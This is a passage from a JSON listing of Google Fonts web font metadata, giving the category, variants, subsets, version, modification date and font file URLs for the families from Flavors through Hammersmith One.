        "regular": "http://fonts.gstatic.com/s/flavors/v9/FBV2dDrhxqmveJTpbkzlNqkG9UY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fondamento",
      "category": "handwriting",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fondamento/v10/4UaHrEJGsxNmFTPDnkaJx63j5pN1MwI.ttf",
        "italic": "http://fonts.gstatic.com/s/fondamento/v10/4UaFrEJGsxNmFTPDnkaJ96_p4rFwIwJePw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fontdiner Swanky",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fontdinerswanky/v10/ijwOs4XgRNsiaI5-hcVb4hQgMvCD4uEfKiGvxts.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Forum",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/forum/v10/6aey4Ky-Vb8Ew_IWMJMa3mnT.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Francois One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/francoisone/v14/_Xmr-H4zszafZw3A-KPSZutNxgKQu_avAg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Frank Ruhl Libre",
      "category": "serif",
      "variants": [
        "300",
        "regular",
        "500",
        "700",
        "900"
      ],
      "subsets": [
        "hebrew",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-17",
      "files": {
        "300": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_36_fAw7jrcalD7oKYNX0QfAnPUxvHxJDMhYeIHw8.ttf",
        "regular": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_w6_fAw7jrcalD7oKYNX0QfAnPa7fv4JjnmY4.ttf",
        "500": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_36_fAw7jrcalD7oKYNX0QfAnPU0PGxJDMhYeIHw8.ttf",
        "700": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_36_fAw7jrcalD7oKYNX0QfAnPUwvAxJDMhYeIHw8.ttf",
        "900": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_36_fAw7jrcalD7oKYNX0QfAnPUzPCxJDMhYeIHw8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Freckle Face",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/freckleface/v8/AMOWz4SXrmKHCvXTohxY-YI0U1K2w9lb4g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fredericka the Great",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-26",
      "files": {
        "regular": "http://fonts.gstatic.com/s/frederickathegreat/v9/9Bt33CxNwt7aOctW2xjbCstzwVKsIBVV-9Skz7Ylch2L.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fredoka One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fredokaone/v7/k3kUo8kEI-tA1RRcTZGmTmHBA6aF8Bf_.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Freehand",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/freehand/v11/cIf-Ma5eqk01VjKTgAmBTmUOmZJk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fresca",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fresca/v8/6ae94K--SKgCzbM2Gr0W13DKPA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Frijole",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/frijole/v8/uU9PCBUR8oakM2BQ7xPb3vyHmlI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fruktur",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fruktur/v12/SZc53FHsOru5QYsMfz3GkUrS8DI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fugaz One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fugazone/v9/rax_HiWKp9EAITukFslMBBJek0vA8A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "GFS Didot",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "greek"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gfsdidot/v9/Jqzh5TybZ9vZMWFssvwiF-fGFSCGAA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "GFS Neohellenic",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "greek"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gfsneohellenic/v12/8QIRdiDOrfiq0b7R8O1Iw9WLcY5TLahP46UDUw.ttf",
        "italic": "http://fonts.gstatic.com/s/gfsneohellenic/v12/8QITdiDOrfiq0b7R8O1Iw9WLcY5jL6JLwaATU91X.ttf",
        "700": "http://fonts.gstatic.com/s/gfsneohellenic/v12/8QIUdiDOrfiq0b7R8O1Iw9WLcY5rkYdr644fWsRO9w.ttf",
        "700italic": "http://fonts.gstatic.com/s/gfsneohellenic/v12/8QIWdiDOrfiq0b7R8O1Iw9WLcY5jL5r37oQbeMFe985V.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gabriela",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gabriela/v8/qkBWXvsO6sreR8E-b_m-zrpHmRzC.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gaegu",
      "category": "handwriting",
      "variants": [
        "300",
        "regular",
        "700"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/gaegu/v8/TuGSUVB6Up9NU57nifw74sdtBk0x.ttf",
        "regular": "http://fonts.gstatic.com/s/gaegu/v8/TuGfUVB6Up9NU6ZLodgzydtk.ttf",
        "700": "http://fonts.gstatic.com/s/gaegu/v8/TuGSUVB6Up9NU573jvw74sdtBk0x.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gafata",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gafata/v8/XRXV3I6Cn0VJKon4MuyAbsrVcA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Galada",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "bengali",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/galada/v5/H4cmBXyGmcjXlUX-8iw-4Lqggw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Galdeano",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/galdeano/v9/uU9MCBoQ4YOqOW1boDPx8PCOg0uX.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Galindo",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/galindo/v7/HI_KiYMeLqVKqwyuQ5HiRp-dhpQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gamja Flower",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gamjaflower/v8/6NUR8FiKJg-Pa0rM6uN40Z4kyf9Fdty2ew.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gayathri",
      "category": "sans-serif",
      "variants": [
        "100",
        "regular",
        "700"
      ],
      "subsets": [
        "malayalam",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2019-11-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/gayathri/v1/MCoWzAb429DbBilWLLhc-pvSA_gA2W8.ttf",
        "regular": "http://fonts.gstatic.com/s/gayathri/v1/MCoQzAb429DbBilWLIA48J_wBugA.ttf",
        "700": "http://fonts.gstatic.com/s/gayathri/v1/MCoXzAb429DbBilWLLiE37v4LfQJwHbn.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gelasio",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gelasio/v1/cIf9MaFfvUQxTTqSxCmrYGkHgIs.ttf",
        "italic": "http://fonts.gstatic.com/s/gelasio/v1/cIf_MaFfvUQxTTqS9CuhZEsCkIt9QQ.ttf",
        "500": "http://fonts.gstatic.com/s/gelasio/v1/cIf4MaFfvUQxTTqS_N2CRGEsnIJkWL4.ttf",
        "500italic": "http://fonts.gstatic.com/s/gelasio/v1/cIf6MaFfvUQxTTqS9CuZkGImmKBhSL7Y1Q.ttf",
        "600": "http://fonts.gstatic.com/s/gelasio/v1/cIf4MaFfvUQxTTqS_PGFRGEsnIJkWL4.ttf",
        "600italic": "http://fonts.gstatic.com/s/gelasio/v1/cIf6MaFfvUQxTTqS9CuZvGUmmKBhSL7Y1Q.ttf",
        "700": "http://fonts.gstatic.com/s/gelasio/v1/cIf4MaFfvUQxTTqS_JWERGEsnIJkWL4.ttf",
        "700italic": "http://fonts.gstatic.com/s/gelasio/v1/cIf6MaFfvUQxTTqS9CuZ2GQmmKBhSL7Y1Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gentium Basic",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gentiumbasic/v11/Wnz9HAw9aB_JD2VGQVR80We3HAqDiTI_cIM.ttf",
        "italic": "http://fonts.gstatic.com/s/gentiumbasic/v11/WnzjHAw9aB_JD2VGQVR80We3LAiJjRA6YIORZQ.ttf",
        "700": "http://fonts.gstatic.com/s/gentiumbasic/v11/WnzgHAw9aB_JD2VGQVR80We3JLasrToUbIqIfBU.ttf",
        "700italic": "http://fonts.gstatic.com/s/gentiumbasic/v11/WnzmHAw9aB_JD2VGQVR80We3LAixMT8eaKiNbBVWkw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gentium Book Basic",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gentiumbookbasic/v10/pe0zMJCbPYBVokB1LHA9bbyaQb8ZGjcIV7t7w6bE2A.ttf",
        "italic": "http://fonts.gstatic.com/s/gentiumbookbasic/v10/pe0xMJCbPYBVokB1LHA9bbyaQb8ZGjc4VbF_4aPU2Ec9.ttf",
        "700": "http://fonts.gstatic.com/s/gentiumbookbasic/v10/pe0wMJCbPYBVokB1LHA9bbyaQb8ZGjcw65Rfy43Y0V4kvg.ttf",
        "700italic": "http://fonts.gstatic.com/s/gentiumbookbasic/v10/pe0-MJCbPYBVokB1LHA9bbyaQb8ZGjc4VYnDzofc81s0voO3.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Geo",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/geo/v11/CSRz4zRZlufVL3BmQjlCbQ.ttf",
        "italic": "http://fonts.gstatic.com/s/geo/v11/CSRx4zRZluflLXpiYDxSbf8r.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Geostar",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/geostar/v10/sykz-yx4n701VLOftSq9-trEvlQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Geostar Fill",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/geostarfill/v10/AMOWz4SWuWiXFfjEohxQ9os0U1K2w9lb4g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Germania One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/germaniaone/v7/Fh4yPjrqIyv2ucM2qzBjeS3ezAJONau6ew.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gidugu",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gidugu/v6/L0x8DFMkk1Uf6w3RvPCmRSlUig.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gilda Display",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gildadisplay/v7/t5tmIRoYMoaYG0WEOh7HwMeR7TnFrpOHYh4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Girassol",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/girassol/v1/JTUUjIo_-DK48laaNC9Nz2pJzxbi.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Give You Glory",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/giveyouglory/v9/8QIQdiHOgt3vv4LR7ahjw9-XYc1zB4ZD6rwa.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Glass Antiqua",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/glassantiqua/v7/xfu30Wr0Wn3NOQM2piC0uXOjnL_wN6fRUkY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Glegoo",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/glegoo/v9/_Xmt-HQyrTKWaw2Ji6mZAI91xw.ttf",
        "700": "http://fonts.gstatic.com/s/glegoo/v9/_Xmu-HQyrTKWaw2xN4a9CKRpzimMsg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gloria Hallelujah",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gloriahallelujah/v11/LYjYdHv3kUk9BMV96EIswT9DIbW-MLSy3TKEvkCF.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Goblin One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/goblinone/v9/CSR64z1ZnOqZRjRCBVY_TOcATNt_pOU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gochi Hand",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gochihand/v10/hES06XlsOjtJsgCkx1PkTo71-n0nXWA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gorditas",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gorditas/v7/ll8_K2aTVD26DsPEtQDoDa4AlxYb.ttf",
        "700": "http://fonts.gstatic.com/s/gorditas/v7/ll84K2aTVD26DsPEtThUIooIvAoShA1i.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gothic A1",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/gothica1/v8/CSR74z5ZnPydRjlCCwlCCMcqYtd2vfwk.ttf",
        "200": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCpOYKSPl6tOU9Eg.ttf",
        "300": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCwOUKSPl6tOU9Eg.ttf",
        "regular": "http://fonts.gstatic.com/s/gothica1/v8/CSR94z5ZnPydRjlCCwl6bM0uQNJmvQ.ttf",
        "500": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCmOQKSPl6tOU9Eg.ttf",
        "600": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCtOMKSPl6tOU9Eg.ttf",
        "700": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlC0OIKSPl6tOU9Eg.ttf",
        "800": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCzOEKSPl6tOU9Eg.ttf",
        "900": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlC6OAKSPl6tOU9Eg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gotu",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gotu/v1/o-0FIpksx3QOlH0Lioh6-hU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Goudy Bookletter 1911",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/goudybookletter1911/v9/sykt-z54laciWfKv-kX8krex0jDiD2HbY6I5tRbXZ4IXAA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Graduate",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/graduate/v7/C8cg4cs3o2n15t_2YxgR6X2NZAn2.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Grand Hotel",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/grandhotel/v7/7Au7p_IgjDKdCRWuR1azpmQNEl0O0kEx.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gravitas One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gravitasone/v9/5h1diZ4hJ3cblKy3LWakKQmaDWRNr3DzbQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Great Vibes",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/greatvibes/v7/RWmMoKWR9v4ksMfaWd_JN-XCg6UKDXlq.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Grenze",
      "category": "serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2019-11-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/grenze/v1/O4ZRFGb7hR12BxqPm2IjuAkalnmd.ttf",
        "100italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZXFGb7hR12BxqH_VpHsg04k2md0kI.ttf",
        "200": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPN0MDkicWn2CEyw.ttf",
        "200italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_Vrrky0SvWWUy1uW.ttf",
        "300": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPU0ADkicWn2CEyw.ttf",
        "300italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_VqPkC0SvWWUy1uW.ttf",
        "regular": "http://fonts.gstatic.com/s/grenze/v1/O4ZTFGb7hR12Bxq3_2gnmgwKlg.ttf",
        "italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZRFGb7hR12BxqH_WIjuAkalnmd.ttf",
        "500": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPC0EDkicWn2CEyw.ttf",
        "500italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_VrXkS0SvWWUy1uW.ttf",
        "600": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPJ0YDkicWn2CEyw.ttf",
        "600italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_Vr7li0SvWWUy1uW.ttf",
        "700": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPQ0cDkicWn2CEyw.ttf",
        "700italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_Vqfly0SvWWUy1uW.ttf",
        "800": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPX0QDkicWn2CEyw.ttf",
        "800italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_VqDlC0SvWWUy1uW.ttf",
        "900": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPe0UDkicWn2CEyw.ttf",
        "900italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_VqnlS0SvWWUy1uW.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Griffy",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/griffy/v8/FwZa7-ox2FQh9kfwSNSEwM2zpA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gruppo",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gruppo/v10/WwkfxPmzE06v_ZWFWXDAOIEQUQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gudea",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gudea/v9/neIFzCqgsI0mp-CP9IGON7Ez.ttf",
        "italic": "http://fonts.gstatic.com/s/gudea/v9/neILzCqgsI0mp9CN_oWsMqEzSJQ.ttf",
        "700": "http://fonts.gstatic.com/s/gudea/v9/neIIzCqgsI0mp9gz26WGHK06UY30.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gugi",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gugi/v8/A2BVn5dXywshVA6A9DEfgqM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gupter",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gupter/v1/2-cm9JNmxJqPO1QUYZa_Wu_lpA.ttf",
        "500": "http://fonts.gstatic.com/s/gupter/v1/2-cl9JNmxJqPO1Qslb-bUsT5rZhaZg.ttf",
        "700": "http://fonts.gstatic.com/s/gupter/v1/2-cl9JNmxJqPO1Qs3bmbUsT5rZhaZg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Gurajada",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/gurajada/v7/FwZY7-Qx308m-l-0Kd6A4sijpFu_.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Habibi",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/habibi/v8/CSR-4zFWkuqcTTNCShJeZOYySQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Halant",
      "category": "serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/halant/v7/u-490qaujRI2Pbsvc_pCmwZqcwdRXg.ttf",
        "regular": "http://fonts.gstatic.com/s/halant/v7/u-4-0qaujRI2PbsX39Jmky12eg.ttf",
        "500": "http://fonts.gstatic.com/s/halant/v7/u-490qaujRI2PbsvK_tCmwZqcwdRXg.ttf",
        "600": "http://fonts.gstatic.com/s/halant/v7/u-490qaujRI2PbsvB_xCmwZqcwdRXg.ttf",
        "700": "http://fonts.gstatic.com/s/halant/v7/u-490qaujRI2PbsvY_1CmwZqcwdRXg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Hammersmith One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
